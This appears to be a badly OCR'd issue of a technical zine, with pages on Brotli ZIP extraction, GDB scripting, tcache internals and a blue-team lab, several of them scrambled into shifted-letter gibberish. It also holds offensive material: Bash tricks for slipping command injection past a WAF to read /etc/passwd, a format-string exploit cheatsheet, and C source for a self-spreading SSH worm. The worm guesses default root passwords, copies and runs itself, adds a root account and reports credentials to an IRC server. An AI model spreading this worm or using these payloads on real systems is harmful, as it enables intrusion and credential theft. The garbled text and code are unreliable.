LPSHGDQFH PDWFK DPSOLI\ DGGD %1& FDSWXUH VD

,QOD\PDQV LW VMXVW OLNHDXGLR ILOHM MXYWIEI ZIDQY H) RWRPNVKMWINWRPR 6RW*18UDGLR DQG
)/$& WRGD\ KRXUV RIVWDEOH 9+6 176& FDQ HEWWON RQHGVWLDAXDO®\ O'RVH¥';/ RSWLFDO GLVF
VLIQDO SUHVHUYHG YLUWXDOO\IRUHYRPDLQLWY RULIJILQDO DQDORJVLIQDO G

7TRGD\ WKH YKWGBMERGHILWKXE FRP R\YLOGOQ YKV GHFR
OG GHFRGH FYEV GHFRGH KLIL GHFRGHUWSURMHFWY KDYF
SDFNDJH DV PXFKDV WKH\KDYH D VKDUHG IDPLO\RI GHYHC
FRQWULEXWRUV ZKR KDYH WRJHWKHU SORYLY&AIBEGE RVKH ZRU
GHFRGLQJWRRO VXLWHIRUPHGLD SUHVHUYDWLRQ SRZHU
VRXUFH FRGH IRUWKH SHRSOH E\ WKH SHRSOH

, WV DELOLWLHV FRQWLQXRXVO\LPSURYLQJE\
PROQWK WR\HDU VSHDN IRU WKHPVHOYHV
$ORQIVLGH WKH IXOO VLIJQDO IUDPH YLVXDO
SUHVHUYDWLRQ DQG LQ YLUWXDOO\DOO HGJH
FDVHV RXWSHUIRUPLQJ KDUGZDUH WLPH
EDVHFRUUHFWRUV FKURPD GHFRGHUYV

@therealharrypm www.opcomedia.com
https://github.com/oyvindIn/vhs-decode/wiki



Brotli Zip Archive

Brotli Zip Archive

One day, when | was bored during the pandemic, | was looking for somethg to reverse engineer. Tired of
crackmes, | decided to play with something di erent. | opened the Microsoft Solitaire Collection. If you have not
heard of it { it is a modern remake of the classic solitaire games, e.g., BeCell.

I noticed that when you start a new game, you can specify the di culty le vel. | rst thought it is implemented
like this: rst randomly generate a game, and have an algorithm rate the di culty of the game until a game with
the desired di culty level is found. At least this is how several Sudoku implementations generate the board.

Upon further inspection, it turned out this was not the case. | analyzedthe game executable both statically and
dynamically, and | noticed a ZIP archive in the game folder. There is a GV le in it, which, when decompressed,
contains the list of games at each level. | know this sounds too sketchyput | can hardly recall more details since
it was three years ago.

The ZIP archive also contains various other game resources, and | wished extract them directly. | rst tried a
few popular archive utilities (e.g., 7-zip) and got no luck. | manually analyzed the le in 010Editor, and concluded
that it conforms to the ZIP le format. This explains why it is possibl e to view the le list of the archive. The
only thing that prevents it from being extracted is that the les are compressed with method 34 (0x22), which is
not supported by the tools. For context, the default compression algorihm of ZIP, DEFLATE, is 0x8.

| was stuck there and could not move forward. Google search did not help mzh. | know it is always possible
to reverse engineer the code, but that seems a bit too much work fomy recreational purpose.

Back in the year 2024, | found some notes | took for the problem. | decided torly again and see if | could make
any progress. This time, instead of focusing on \ZIP archive" and \compression”, | tried to search for \Microsoft
Solitaire Collection" and \ZIP" together. And | came across this page * on \The Cutting Room Floor", which is
\a site dedicated to unearthing and researching unused and cut cont& from video games".

Much to my surprise, it seems not only someone else has previously atnpted the very same problem, but he
also seems to have succeeded { the page mentions that a \QuickBMS ggt" can extract it, and links to a script
hosted on Discord. Unfortunately, the le link is dead, so | had to continue my research.

| searched QuickBMS and learned it is a tool for le extraction and archive parser. | browsed the website and
| found a script zip.bms 2 which seems relevant. Inside of it, it has the following code snipet:

elif method == 34
ComType brotli

Yet again, brotli 2 is new to me and | gured out it is a compression algorithm developed by Gogle. Interest-
ingly, brotli is named after Bmtli, which means \small bread" in Swis s German. With the compression algorithm
known and the existence of a handy pip package, | quickly wrote a scripto decompress the archive:

import brotli, zipfile, os
archive_path = 'data-<redacted>.archive'
dump_root = 'dump’

with zipfile.ZipFile(archive_path) as archive:
for info in archive.infolist():
archive.fp.seek(info.header_offset + len(info.FileHea der()))
compressed = archive.fp.read(info.compress_size)
decompressed = brotli.decompress(compressed)
dump_path = os.path.join(dump_root, info.filename)
os.makedirs(os.path.dirname(dump_path), exist_ok=Tru e)
with open(dump_path, 'wb') as output:
output.write(decompressed)

And it works!
Afterward, | checked the QuickBMS and realized the archive could beextracted directly with the help of the
above-mentioned zip.bms:

quickbms.exe zip.bms data.archive

If I had known QuickBMS earlier, | would have extracted it e ortles sly. But | would also miss the opportunity
to have this fun exploration!

Lhttps://tcrf.net/Microsoft_Solitaire_Collection
2https://aluigi.altervista.org/bms/zip.bms
Shttps://github.com/google/brotli

https://xusheng.dev/
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Calculating VTL1 Heap Keys From VTLO
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Headless GDB Scripting

Headless GDB Scrlptlng class GdbExtractor :

Consider a simple exploitation scenario where we have a def __init__ (self , gdb):

stack bu er over ow and we want to gure out the loca- self . semaphore = threading . Semaphore()
tion in our input that contains the value that will over- self . gdb = gdb

write the return address. We could use our decompiler self . retaddr = None

platform of choice, cross-reference the local variable us-
age, let it reconstruct the stack frame and compare the  def __call__ (self , event):

o set of the over owing variable with the o set of the self .retaddr = self . gdb...

saved return address. self . semaphore release()

On the other hand, sending a de Bruijn sequence gen- ...

erated with the pwntools cyclic() function, using the extractor = GdbExtractor(gdb_api)
instruction pointer value at the crash and calculating gdb_api. events . stop . connect(extractor)
the o set, might be easier. gdb_api. execute( )

Doing this manually is all well and good and can be ... _
accomplished in a few minutes but what if you want to ~ extractor . semaphore acquire()
do this in an automated or "headless" fashion? While print ( extractor . retaddr | )

we do not yet live in a utopia with an API- rst headless _ _ _
scriptable debugger! we can make a workable hack.  For this to work fully headless, you might need to adjust
the terminal. If you are using pwntools, you can do this

Scripting GDB like this:

As long as we are on a platform supported by GDB, we context .terminal = [
can accomplish this by using its Python API. The rst

step is to start the process and attach GDB 0s. path. join(
o0s. path . dirname(pwnlib . __ file ),

from pwnimport *
io = process( , level = ) ),
_, gdb_api = gdb. attach(io, api =True) ]

_, gdb_api = gdb. attach(io, api =True)
Now we can attach an event handler to the "stop” event context . terminal = None
which res among, other things, when a segfault is trig-
gered.

Nested events gotchas

If you want to issue commands to GDB, you can do this
with the .execute() method but there is a small caveat
if you are doing this from within an event handler. If
you call "continue" from the event handler, it will not
If we then make the program crash, we can access reg\Work. However, we can again take advantage of the fac
ister values from this handler that you can pass a callable

def stop_handler (event):
print (
gdb_api. events . stop . connect(stop_handler)

# inside an event handler

def stop_handler (event): # you have to do this
frame = self . gdb. selected frame() def stop_handler (event):
rsp = int (frame . read_register( ) f zlambdagdb . execute( )
process = self . gdb. selected_inferior() gdb. execute(f)
ret = process.read_memory(rsp, 8)
offset = cyclic_find(ret .tobytes()[: 4]) # outside an event handler
# this is enough
gdb. execute( )
Linearizing the ow Now, why would we want this? Personally, the prob-

lem arose when | was building "unit tests" to a series

Now, since this is event-driven, we might want to add of introductory CTF challenges | had built. | wanted

some plumbing to make the rest of the code wait for the my solve scripts to be able to solve the challenges eve

result to come back. We do this by using the fact that if they were rebuilt in such a way that the stack layout

any callable can be passed as an event handler togetherhaploeneol to change or even work for multiple architec
with a semaphore.

tures. One could also imagine this being useful for uni
or integration tests in an exploit development shop.

1Someone please build this

https://zeta-two.com Twitter: @ZetaTwo



Hooking Native Functions with Frida on Android

,QWURGXFWLRQ

JULGD LV D G\QDPLF FRGH LQVWUXPF
WRRONLW ZKLFK OHWV \RX LQMHFW
-DYD6FULSW RU \RXU RZQ OLEUDU\ L
DSSV RQ :LQGRZV PDF26 *18 /LQX]
ZDWFK26 WY26 $QGURLG )UHH%6' |
‘H ZLOO IRFXV RQ $QGURLG WRGD\ IF
HQJLQHHULQJ DQG FKDQJLQJ KRZ WK
DSSOLFDWLRQ IXQFWLRQV ,I \RX GR:
VDPSOH QDWLYH & FRGH IRU WHVWL(
XVH WKH IROORZLQJ

LQFOXGH MQL K!
LQFOXGH VWGOLE K!
LQFOXGH WLPH K!

MLQW

-DYDBFRPBVDPSOHBWHVWBODLQ

1,(QY HQY MREMHEFW WKLV ~
VUDQG XQVLJQHG LQW WLP
LQW LQWUDQGRP UDQG

UHWXUQ LQWUDQGRP

,GHQWLI\LQJ IXQFWLRQ WR KRRN
/RRNLQJ DW WKH FRPSLOHG OLEP DU\

GHPDQJOH G\QDPLF OLEQDWLYH O
VKRZV WKH IXQFWLRQ QDPHV ,W ZLC
LGHQWLI\ DRYDBFRPQFWLRQV WR WDI
DQG LQVWUXPHQW

QP GHPDQJOH G\QDPLF
OLEQDWLYH OLE VR

$ BBEVVBVWDUW

8 BBF[DBDWH[LW

8 BBF[DBILQDOL]H

$ BHGDWD

$ BHQG

7
-DYDBFRPBVDPSOHBWHVWBODLQ

8 UDQG

8 VUDQG

8 BBVWDFNBFKNBIDLO

8 WLPH

,Q RXU VDPSOH
-DYDBFRPBVDPSOHBWH VW B OID\L QWEW L
WDUJHW ,Q QRUPDO VLWXDWLRQV \
LGHQWLI\ WKH SRWHQWLDO IXQFWLR
UHYHUVH HQJLQHHULQJ WKH OLEUDU
IRU LQWHUHVWLQJ IXQFWLRQV WR KF
FDQ DOVR EH DFKLHYHG E\ KRRNLQJ
FRGH GLUHFWO\ WR PDQLSXODWH Wk
EHLQJ PDGH WR -DYD 1DWLYH ,QWHU
EXW WKHUH PD\ EH FDVHV ZKHUH KR
FRGH LV GHVLUDEOH , ZLOO OHDYH
WKH GLIIHUHQFH DQG KRZ LW FDQ E}
-DYD WR WKH UHDGHU

+RRN WKH IXQFWLRQ ZLWK )ULGD

7KH IROORZLQJ LV WKH )ULGD KRRN WR F
WKH IXQFWLRQ UHWXUQ IFQ\W ODIQ®RP
JHUR

,QWHUFHSWRU DWWDFK ORGXOH JHW
%\1DPH OLEQDWLYH OLE VR
"-DYDBFRPBVDPSOHBWHVWBODLQS$FW

AN

RQ(QWHU IXQFWLRQ DUJV A
RQ/HDYH IXQFWLRQ UHWYDO ~
UHWYDO UHSODFH

/HWpV ORRN DW ZKDW WKH )ULGD VFULSW
SHUIRUPV LW IHWQDWLYH OEE VR
XVLQJ DQ LQWHUFHSWRU
,QWHUFHSWRU DWWDFK WDUJHW FDOOED
GDWD@ ZKLFK LQWHUFHSW FDOOV WR I
DW WDUJHW DQG LV D 1DWLYH3RLQWHU
VSHFLI\LQJ WKH DGGUHVV RI WKH IXQFWL
ZRXOG OLNH WR LQWHUFHSW FDOOV WR
FDOOEDFNV DUJXPHQW LV DQ REMHFW
FRQWDLQLQJ RQH RU PRUH RI
RQ(QWHU DUJV FDOOEDFN IXQFWLR
JLYHQ RQH DUJXPHQW DUJV WKDW F
XVHG WR UHDG RU ZULWH DUJXPHQW
DQ DUUD\ RI 1IDWLYH3RLQWHU REMH
A LQWHUFHSWRU RQHQWHU"
RQ/HDYH UHWYDO FDOOEDFN IXQFW
JLYHQ RQH DUJXPHQW UHWYDO WKD'
1IDWLYH3RLQWHU GHULYHG REMHFW
FRQWDLQLQJ WKH UDZ UHWXUQ YDO
FDOOV UHWYDO UHSODFH WR UHSC
WKH UHWXUQ YDOXH ZLWK WKH LQW
1RWH WKDW WKLV REMHFW LV
UHF\FOHG DFURVV RQ/HDYH FDOOV
GR QRW VWRUH DQG XVH LW RXWVLC
\RXU FDOOEDFN ODNH D GHHS FRS\
\RX QHHG WR VWRUH WKH FRQWDLQ!
YDOXH H J
SWU UHWYDO WR6WULQJ
<RX FDQ H[SORUH PRUH RI WKLV DQG WK
RI WKH )ULGD_$3, KHUH

LWK WKLV VFULSW LQMHGWHS |
SDFNDJH QDPH! O I1ULGD VFULSW!
-DYDBFRPBVDPSOHBWHVWBODLMGGFWLYLW\
DOzD\V UHWXUQ JHUR

&RQFOXVLRQ

.l \RX DUH GHDOLQJ ZLWK PRELOH
DSSOLFDWLRQV IRU SHQHWUDWLRQ WHVW
UHYHUVLQJ RU PDOZDUH DQDO\VLV )ULGE
\RXU IULHQG , DOVR UHFRPPHQG H[SORU!

UIlULGD IRU IXUWKHU OHDUQLQJ

https://linkedin.com/in/mcoskuner/



Inspecting Tcache
parsing

Have you ever wondered how the Tcache is parsed for

multiple threads? Let's delve into TLS(Thread Local
Storage) handling in GNU LIBGystems.

A brief introduction to Tcache: Post GLIBC 2. 26
the blocks freed by malloc are stored in a list called
Tcache. Itis managed on a per-thread basis and utilized
for optimization purposes to be reused during realloca-
tion of the heap. Let us examine a simple program and
utilize gdb to visualize the thread-speci c allocations.

*thread_fn ( *vargp)
{
*a=( *) malloc( 40);
* b= ( *) malloc( 40);
free(a);
free(b);
sleep( 100);
}
main()
{
pthread_t thread [THREAD_CNT];
for ( i = 0,1 < THREAD_CNT++#) {
pthread_create( &thread [i],
NULL thread_fn,  NULL;
}
__builtin_trap();
exit( 0);
}

When debugging this program using gdb, we would en-
counter a SIGTRAPON 64-bit Linux systems, derefer-
encing the fs_base pointer accesses the pointer to the
pthread structure, which is allocated whenever a new
thread is created.

pwndbg- info registers

fs_base Ox7ffff7c006c0

We've switched to thread 2, which is a non-main thread,

Visualizing Tcache Parsing

typedef struct
{

*tcb;

dtv_t *dtv;

} tcbhead_t
We'll focus on dtv, which essentially acts as a 2D vector
allowing access to thread-speci c variables for a speci ¢
module id. The module id for the current execution is
1. Therefore, dtv[1] will give us access to the current
thread-speci c variable.

pwndbg p (*(( struct pthread *)

(Ox7ffff7c006¢c0 ))).header.dtv[ 1]
$3 = {
counter = 140737349944883
pointer = {
val = Ox7ffff7c00638
to_free = 0x0
}
}

The counter here serves as a version maintenance mech-
anism, but we won't investigate that. The pointer.val
gives us the pointer to thetcb for the current thread.
Hence, accessing the thread-speci c variables is as easy
as

dtv[module_id]. pointer. val + ti_offset

Examining the pointers around the dtv[1] will leak the
pointer to the tcache for that speci c thread

pwndbg x/10gx (*(( struct pthread *)
(Ox7ffff7c006c0 ))).header.dtv[  1].pointer.val

Ox7ffff7cO0678:
0x0000000000000000 0x00007ffff00008e0

The address0x00007ffff00008e0 has read-write per-
missions and is within the memory map range of size
0x21000, which is the default size of heap allocation on
64-bit systems(This could also be a stack!). Let's try
and dereference it as @cache_perthread_struct

pwndbg p *((( struct tcache_ perthread_struct
(Ox7ffff00008e0 )))

)

$5 = {
counts = {0, 2, O <repeats 62 times >},
entries
{0x0, Ox7ffff0000ba0

, Ox0 <repeats 62 times >}

and are examining the state of registers. Let us visualize }

this as a struct pthread.

pwndbg: p *((( struct pthread *)
(Ox7ffff7c006c0 )))

$2 = {
{
header = {
tcb = Ox7ffff7c006c0
dtv = 0x5555555592hb0

The tcb refers to thread control block which is again a
pointer to pthread struct.

We have found the tcache book keeping struct, which
has the counts and entries for the tcache bins. Let us
verify the same using pwndbg tcache command:

pwndbg- tcachebins
0x30 [ 2] : Ox7ffff0000ba0 -> 0x7ffff0000b70

Reference

" Tcache viz - rizin-4355
" https://chao-tic.github.io/blog/2018/12/25/tls

https://x.com/z3phyrrrrr giridharprasath.github.io



Bash Techniques to bypass a WAF!

oZ d Zv]<u o S}
(;%o oo t &J

A WAF or web application firewall helps protect

web applications by filtering and monitoring traffic

between a web application and the client sending

traffic. A WAF bypass is a method to communicate o _ _
with the components behind the WAF without the Uninitialized variables are treated as empty strings
WAF realizing that malicious commands are being N Bashand can be leveraged for obfuscation. $IFS
issued. The examples in this article assume the IS @ shell variable to be aware of that can be used
attacker is communicating with Bash on a remote  for word splitting. Bashwill recognize this as

system most likely from a command injection space and, therefore, it can be used to bypass any
vulnerability. space filtering in a WAF.

3) Uninitialized variables

> §[ E 3 (Jo }v§ Jednentssts A} E A) Globbi?gand\Escaping
experiment with. In a real world example,
/etc/passwd would be a good target on a remote

system as it generally has read permission for most _ _ _
OS users. Globbing is the use of wildcards to match

characters. A® _can be used to replace a character
in a filename. Escaping can also be leveraged to add
some obfuscation.

Putting it all together
Some example bypass techniques.

1) Z }v[enation This command contains escaping, concatenation,

globbing and uninitialized variables. Itis also a good
idea to try different encoding methods in case
something in the processing stack decodes them

A pair of single quotes can be used for  Priortobash. ForexampleZ [ v & % & + vS

concatenation in @8ash This can be a method for as hex \x41 or unicode \u0041.

evasion if a WAF or web application has a black list _
of specific words or phrases. As a system owner should | be worried?

2) {Brace,Expansion) A WAF will perform normalization of incoming
traffic and undo many of the techniques above
prior to identifying malicious traffic. Therefore,
modern well configured WAF should identify the
_ _ § Zv]cp oX dZ Jeep }(3 v o] » AlSZ t
Bash will perform a brace expansion of comma configured suboptimayl due to relaxations

separated values within braces. This is a good performed to meet business requirements.
technique to bypass any whitespace filtering that

may be taking place.

https://protectedpenguin.com



%XLOGLQJD SRUWDEOH EOXI

,QWURGXFWLRQ

%XLOGLQJ D KRPHODE GRHVY QRW PHDC
VRPH ROG 3& RU D VHFRQG KDQG VH
VZLWFKHVY DQG URXWHUV WR EXLOG D
GHSOR\ YDULRXV WKLQJV VXFK DV 6,
PRUH $00 WKDW FDQ EH QLFHO\ GRC
ZKLFK WKHQ \RX FDQ FDUU\ ZLWK \RX
+HUHYVY D OLVW RI HYHU\WKLQJ \RX QH
RZQ EOXH WHDP SODV\JURXQG

+DUGZDUH S5HTXLUHPHQWYV
6WDUWLQJ ZLWK WKH KDUGZDUH UHTX
QLFH &38 ZLWK FRUHV DQG WKUH|I
*% 580 LW ZRXOG EH QLFH WR KDYH
QRWKLQJ VSHFLDO *% 66'DQG DV IR
XVLQJ D )HGRUD

1HWZRUN 7RSRORJ\

6WDUW FUHDWLQJ \RXU QHWZRUN WR
HQGSRLQW 90 DQG DQ DFWLYH GLUHF
\RX ZDQW WR WHVW DQG ZKDW \RX Q
WKLQJV WR LW 7KHQ GHVLJQ 9/$1V VI
VRPH SXUSRVH LQ \RXU WRSRORJ\ )LC
WKH GHWDLOV SXW LW LQ D QUPH @D
WRRO

JLUHZDOO

$VDILUHZDOROG6NPHMH® DQ RSHQ VRXUI
WKDW KDV PDQ\ FRRO IHDWXUHY WKD'
SDFNHW FDSWXUH OQHWZRUN WURXE
DQG PRUH <RXU ILUHZDOO 90 VKRXOG
IRUHDFK 9/$1 SOXV IRUPDQDJHPHQW

-),5

JRU "),590 , UHFRPPHQG FKWUXUNX QL /RX
> @ ®$)16 6,)7 :RUNVWHDWRLRY WKH\ FRP
TXLWH D ORW RI QLFH SUH LQVWDOOH
PDFKLQH ZLOO EH XVHG IRU D IRUHQVI
EH VHW LQ D VHFXULW\ 9/$1 ZKLFK VL
VHFXULW\ GHSDUWPHQW

ODOZDUH $QDO\VLYV

1RZ \RX ZDQW WR FUHDWH DQ HQYLL
PDOZDUH VDPSOHV IURP WKH ,QWF
UHFRPPHBQE X[> @ D SRZHUIXO /LQX]
PDOZDUH DQDO\VLV

'RPDLQ &RQWUROOHU

$V ZH VLPXODWH D FRUSRUDWH QHW:
LGHQWLW\ DQG PDQDJHPHQW VROXW
&RQWUROOHU GHRGRHGRIQYBHU@ 7KI
90 VKRXOG EH LQ WKH FRUSRUDWH 9/
LQVWDOOHG VHUYLFHV VXFK DV $FW
6HUYLFH '+&3 6HUYHU '16 6HUYHU )
6HUYLFHV DQG 5HPRWH $FFHVV

(QG 'HYLFHV

7KHVH 90V VLPXODWH FRUSRUDWH G
GRPDLQ IURP ZKLFK \RX FDQ UXQ \
VDPSOHV RU RSHQ VRPH PDOLFLRX\
GHWHFWLRQV LQ WKH 6,(0 <RX
HYDOXDWHG :LQGRZV 90V RU VR
GLVWUR

Building a portable blue team home lab

"HE 6HUYHU

7KLV LV DQ 8EXQWX 6HUYHU 90 WKDW KR}
ZHEVLWH IXOO RI YXOQHUDELO'OWSLHV )RU
> @ SURMHFW LV XVHG

.DOL/LQX]

<RX DOVR QHHG D PDFKLQH ZKLFK ZLOO VI
DFWRU JURXS WKDW ZLOO UXQ YDULRXYV VF
RQ \RXU FRUSRUDWH QHWZRUN LQ RUGHU \
\RXU 6,(0 8WHOL /LGEX@ ZKLFK ZLOO EH R(
VHSDUDWH 9/$1 QHWZRUN 3RXWVLGH" RI

VLPXODWH WKHDWWDFNV IURP WKH 3 QWHU

6,(0

)LQDOO\ \RX QHHG D 6,(0 DQGEHENBRRRHQ:
2QLRO@ DQ RSHQ VRXUFH 6,(0 WKDW KDV
FRPPXQLW\ 7KLV 6,(0 LV EDVHG RQ (/. V'
FRQWDLQV HQGSRLQW DJHQWV IRU FROOHI
WRROV =HHN DQG 6XULFDWD &\EHU&KHI Dt
FDQ WKHQ XVH D SRUW PLUURULQJ IHDWX!|
VHQG DOO WKH QHWZRUN WUDIILF LQ WKH G
2QLRQ DQG ZDWFK KRZ \RXU QHWZRUNV I
YDULRXV F\EHU DFWLYLWLHV VXFK DV SR
IRUFH 64/ LQMHFWLRQ DQG PRUH

S5HIHUHQFHYV

> GWWSYV  JLWKXE FRP MJUDSK GUDZL
> WWWSYV 777 SIVHQVH RUJ GRZQORD
> WWSYV  WVXUXJL OLQX[ RUJ

> WWWSYV 777 VDQV RUJ WRROV VLIW
> GWWSV UHPQX[ RUJ

> MOGRZV 6HUYHU OLFURVRIW (YDOXD
> WWSYV JLWKXE FRP GLJLQLQMD '9:

> WWWSY 7727 NDOL RUJ
> BWWSYV VHEXULWI\RQLRQVROXWLRQ

https://facyber.me/posts/blue-team-lab-guide-part-1/






'EVVSX HMWGPSWY'

SVMKMREPP]TYFPMWLIH SR
LXXTW HYWXVM SVK F GEVVSX HI

, . YPMIR NZSMWMR :SMWMR

B3RGI]SYLEZIJSYRHE ZYPRIVEFMP|
WMXSRMXSVHMWGPSWIMX 8LIVI
HMWGPSWI [MXLQMRSV ZEVMEXM ¢

'SSVHMREXIH (MVWVAGPISWSRI KMZI
XMQI XS XLI ZIRHSV XS MWWYI E:

HMWGPSWMRK

*YPP (MW GPSMIMIISRI HMWGPSW
MQQIHMEXIP][MXLSYX RSXMJ]M
FIJSVILERH

-[SYPHPMOI X8S®R$MREVSX HMWGP ¢
HERKPRRKEH LSVMGERAGERVINGSR X S.
ZIRHSV XS MRGIRXMZMWI GLERKI 8
TYFPMWL XLI VIHEGXIH SYXTYX SJ
GVMXMGEP ZYPRIVEFMPMX] XS WL:
MW NTPSMXEFPI 2S[ XLIZIRHSV LE’
IMXLIVTIVISVQELSPMWXMG EYHM
»MRKEWQER]MWWYIWEWTSWWM
»MRK XLIWLS[GEWIH ZYPRIVEFMPI
[LS QMKLX RSXFILETT]VYRRMRKE
ORS[R ZYPRIVEFPIWSJX[EVI 9WIV'
QSHIP EVISJIGSYSWKWRFRIRIMIW

‘| EPP PSSOIHEX GEXEWXVSTLMG [I
JSYRHE XSRSJFYKW ERHHIGMHIH
VITSVXMRK XLIQ FIGEYWI XLIVI[IV
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Carrot disclosure
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SXLIV[MWI]SY VMWO LEZMRK ZIRHSV
FPYJJRI\VX XMQI SVEXPIEWX RSXMJ]
LEW FIIR »\IH
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Drainers: Signing the Crypto Devil s Contract
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EasyNiceWorm

Easy NiceWorm

session=ssh_new();
https://github.com/4nimanegra/EasyNiceWorm if ((ssh_options_set(session, SSH_OPTIONS_USER,
user(i])<0) || (ssh_options_set(session,

SSHfOPTIONSiHOST, host)<0) || (sshioplions;el(
On this page, we will create a simple C-based WOIM  cors ' Somesog, - “Porv<onreac)

. . 1= :
for penetration testing purposes. The Worm attempts t0 | i con - sun dserath password(session, NULL, passii)
make SSH connections to random IP addresses using @ 1o o oy ot

sendTolrc(i);

small credential database to copy and execute its own witesize=0;

code. Additionally, a small piece of code enables the il s icepr_son erroR beak)
worm to chat on a speci ¢ IRC server and channel where  oon 1= St EROR o size, 0766
information about all miscon gured machines is shared. o ey

readsize=fread(buffer,1, sizeof (buffer),f);
if (SSH_ERROR ==
ssh_scp_write(scp,buffer,readsize)){ break;}
writesize=writesize+readsize;
join #4d50

— 4 —1 if (writesize==size){ break;}}
= E E E IP:user:password fclose(f);}
A -5 - i~ if ((sshchannel = ssh_channel_new(session))

IRC server Victim 1 Victim 2 Victim3 ... Victim N

==NULL){reak ;}

if ((con = ssh_channel_open_session(sshchannel))
Atacker < 0){ break;};
= if ((con = ssh_channel_request_exec(sshchannel,
--------------- E ) < 0} break;};
ssh_free(session);  break;}
—= ssh_free(session);
join #4d50 — i=i+1}) ¢ )

sleep(10)}

To notify the red team of the new host, a connection

The target detector essentially utilizes random values t© an IRC server is utilized. The initial action following
ranging from 0 to 255 for the last digit of an IP address & successful login is to connect to a speci ¢RC server
within the subnet class C network 10.0.0.X/24. This and channel to announce theP address, username, and
value should be changed according to the IP addressesPassword of the new member. TheRC host and port
in the private network being tested. In the source code, ¢ dened by the constants IRC and IRCPORT, re-
we employ a constant namedMYNET with the value spectively, while the channel where the host discloses
10.0.0,, and a variable host where, in each iteration, we the information is hardcoded as4d50 Remember to

store the constant followed by a random value generated ¢0n gure the IRC into a private IP address on the net-
operates based on a list of 10 speci ¢ default passwordsin order to preserve the information stored on it.
for root credentials. void_sendTolrc( int i){

SSL_CTX *ctx;SSL *ssl; int socketirc,numchar;

sinclude  <time.h> struct sockaddr_in serveradd; char data[900];

#include  <libssh/libssh.h> SSL_library_init(); )

sinclude  <stdlib.h> OpenSSL_add_all_glgonthms();

SSL_load_error_strings();

ctx = SSL_CTX_new(SSLv23_client_method());

if ((socketirc = socket(AF_INET,SOCK_STREAM,0)) == -1){
return ;}

serveradd.sin_family = AF_INET;

serveradd.sin_addr.s_addr=inet_addr(IRC);

serveradd.sin_port=htons(IRCPORT);

if (connect(socketirc,&serveradd, sizeof (serveradd))
1= 0){ return ;}

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

mﬁ:ﬂgs :zz:fsﬁl/?; h> ssl = SSL_new(ctx);SSL_set_fd(ssl, socketirc);

. if (SSL_connect(ssl) != 1) {
ig‘ecf';‘;e M?ﬁg"fs" err.> exit(EXIT_FAILURE);}

fdefine ! printf( ,IRC,IRCPORT);sleep(5);
#define IRCPORT 6697 ”“mChamSp"mf(datar'ando).
char user[11](20] = { -)' : : ' SSL_write(ssl, data, numchar);sleep(5);
' 0 3 numchar=sprintf(data,
char pass[11][20] = { . , ' ,host,user[i],passi]);

SSL_write(ssl, data, numchar);sleep(5);
SSL_shutdown(ssl);SSL_free(ssl);

char host[16],myworm[20],remoteworm[30];

close(socketirc);SSL_CTX_free(ctx);}

Each time the penetration testing worm successfully
connects to anlP address on port22 using the SSH The rst action the worm performs on the host is to
protocol, it attempts to log into the machine. All SSH add a newroot user privileges account using the cre-
interactions are handled using thesshlib library. Upon dential easynicewormas the username andestthiscom-
successful login, the tool copies its own code into the Puter as the password. This action enables the red team
ftmp/  directory and executes the copied code on the t0 log in to the di erent members without knowing the
remote computer. After this process, the newly infected credentials. It also serves as a means to determine if
computer becomes a member of our penetration testing the host has been previously compromised by the tool,
botnet, and the tool proceeds to search for new hosts to in order to avoid re-executing the worm program. The

be introduced into it. easynicewormbinary is stored in the /tmp/ directory on

it man(nt_arge, char ~argvD){ the unsafe machine, ensuring it has been coded with an
e e el catapannel: ephemeral lifespan. Therefore, the appropriate method
S L L ety o flemfor - char buflerl1024]; to compile EasyNiceWorm should be as follows:
fs;ggg(;a;nycai\;vnzrm. % fsta‘ta(\frilgevrgg]()f;‘&fileinfo): gcec -0 /EasyNiceWorm ./EasyNiceWorm.c -Issl -Issh -lcryp to -z -Idl -static -Igssglue ‘

size=fileinfo.st_size; fclose(f);

_srand(time(NUL_L)); f=fopen( ' % This work was originally created for PagedOut and translated by the author for UnderDOcs Magazine Number 8.
if (fI=NULL){fprintf(f, )

}ﬁnn(t{(f, " )ifclose(f);} https://undercOde.org/foro/e-zines/underdocs-marzo- 2020-numero-8/ (It requires free registration).
while (1==

sprintf(host, \MYNET,(rand()%255)+1); i=0;

https://github.com/4nimanegra



Format String Vulns for hackers in a hurry

Format String Vulns
for hackers in a hurry

Are you competing in a CTF right now? You know
how printf 1 works and you notice the obvious format
string vulnerability, but don't know how to exploit it?
Perfect, this step-by-step guide is your cheatsheet to a
quick victory!

3

1 The Problem 3.1

Consider the following simple, vulnerable program:

main {

buf[256];
fgets(buf, 256, stdin);
printf(buf);

This is a classic, obvious format string vulnerability.
What can we do with it?

Leak registers if the calling convention of the target
allows it (using %p, %x, %d, eto

Leak arbitrary stack content

Leak arbitrary memory (using %9 3.0

Write values at arbitrary memory (using %c and
%n in combination)

2 Turbo Quick Start

On Linux x86_x64, the calling convention is accessing -~
registers and then the stack, in order:
1. RDI 4. R8 7. [RSP +8]
2. RDX 5. R9 8. ... "
3. RCX 6. [RSP]
You can access an arbitrary parameter passed to 3.3

a format string function by using \direct parameter ac-
cess™

~ Use length modi ers

Print out R8 as an address in hex: %4p

Print out the value found at RSP + 8 in decimal:
%Bd

Print out the string pointed to by the address found
at RSP + 8: %( +6)%s

You can write to an arbitrary address using the %n

speci er:

~ Write 1337 to the address pointed to by RDI:
%1337¢c%n

~ Write 1337 to the address found on the stack at
RSP + 8: %1337cush

" optional padding

Pick the address byinjecting it in the payload, on

the stack: %1337cvhPPPPPP\XEF\XBE\XAD\XDE

Notice the padding in the previous example to align

the address to a stack entry RSP + 16)

You can also do this toread arbitrarily
%BsPPPP\XEF\XBE\XxAD\XDE

The Exploit

How to imagine it?

Visualize the generic diagram above, where:

X is the value we want to write (usually part of an
address for awin function, like system)

T is the direct argument o set to target

is added to align the target address
to a stack entry

target IS the address we want to write to (injected)

What to attack?

GOT section , if executable has partial or no
RELRO protections

A function return address
leaked

, if a stack address is

An important variable  (is_admin, etc.)

Function pointers

File structures 2

Other useful tips
Usually your payload will be at RSP: %ep

to change the size of the
speci er (%hx < %x < %)x

Reaching the value we want to write with %ctakes
a long time whenwe write 4 bytes at a time with
%n use length modiers  to write 2 bytes of the
value at a time (%hr)

When you write twice in the same payload, make
sure the second writeaccounts for the bytes
printed for the rst write. See below, where X & v
are the values we write andTt1 & T2 are the direct
arg o sets to targets :

IRTFM:
printf.3.html

https://lwww.man7.org/linux/man-pages/man3/

https://github.com/Costinteo https://dothidden.xyz/

2File Stream Oriented Programming:
posts/fsop/

https://niftic.ca/




